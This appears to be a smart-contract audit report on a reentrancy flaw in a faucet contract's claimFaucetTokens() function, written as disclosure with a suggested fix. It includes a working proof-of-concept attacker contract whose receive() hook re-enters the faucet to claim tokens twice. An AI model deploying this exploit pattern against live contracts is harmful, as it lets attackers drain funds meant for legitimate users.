Summary
The claimFaucetTokens() function is vulnerable to reentrancy attacks allowing multiple token claims due to cooldown state updates after external call.
Description
Normal Behavior
Issue
The contract updates cooldown state after external calls, enabling reentrancy during ETH transfers:
Line: 198
function claimFaucetTokens() public {
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
}
Risk
Impact
-
Attackers can bypass the 3-day cooldown mechanism
-
Unfair advantage over legitimate users
-
Token distribution occurs faster than intended
-
Enhances Sybil DDoS attacks: each cloned account can claim double tokens (2x `faucetDrip`) instead of one, accelerating faucet drainage
Likelihood
-
Only requires deploying a contract with malicious receive() function
-
No special timing or chain conditions needed
-
Deterministic exploit that works every time
-
Only applies to first-time ETH claimers (limited scope)
Proof of Concept
Textual PoC
Attacker deploys malicious contract with receive() function
Attacker calls claimFaucetTokens() (first time, eligible for ETH)
Contract sends ETH to attacker's contract via call("")
Attacker's receive() re-enters claimFaucetTokens()
Since lastClaimTime hasn't been updated yet, cooldown check passes
Attacker receives tokens again without waiting 3-day cooldown
Coded PoC
function testReentrancyAttack() public {
vm.startPrank(user1);
ReentrancyAttacker attacker = new ReentrancyAttacker();
attacker.attack(raiseBoxFaucet);
assertEq(raiseBoxFaucet.balanceOf(user1), raiseBoxFaucet.faucetDrip() * 2);
vm.stopPrank();
}
contract ReentrancyAttacker {
function attack(RaiseBoxFaucet raiseBoxFaucet_) public {
raiseBoxFaucet_.claimFaucetTokens();
raiseBoxFaucet_.transfer(msg.sender, raiseBoxFaucet_.balanceOf(address(this)));
}
receive() external payable {
RaiseBoxFaucet raiseBoxFaucet = RaiseBoxFaucet(payable(msg.sender));
if (raiseBoxFaucet.getUserLastClaimTime(address(this)) + 3 days <= block.timestamp) {
raiseBoxFaucet.claimFaucetTokens();
}
}
}
Reentrancy.t.sol: https://github.com/Luu-Duc-Toan/2025-10-raisebox-faucet/blob/master/test/Reentrancy.t.sol
Recommended Mitigation
Move cooldown state updates before external calls:
function claimFaucetTokens() public {
//...
+ // Effects
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
//...
// Interactions
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
//...
}
}
- // Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
//...
}
Add OpenZeppelin's ReentrancyGuard:
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
- function claimFaucetTokens() public {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
+ function claimFaucetTokens() public nonReentrant {
//...
}
}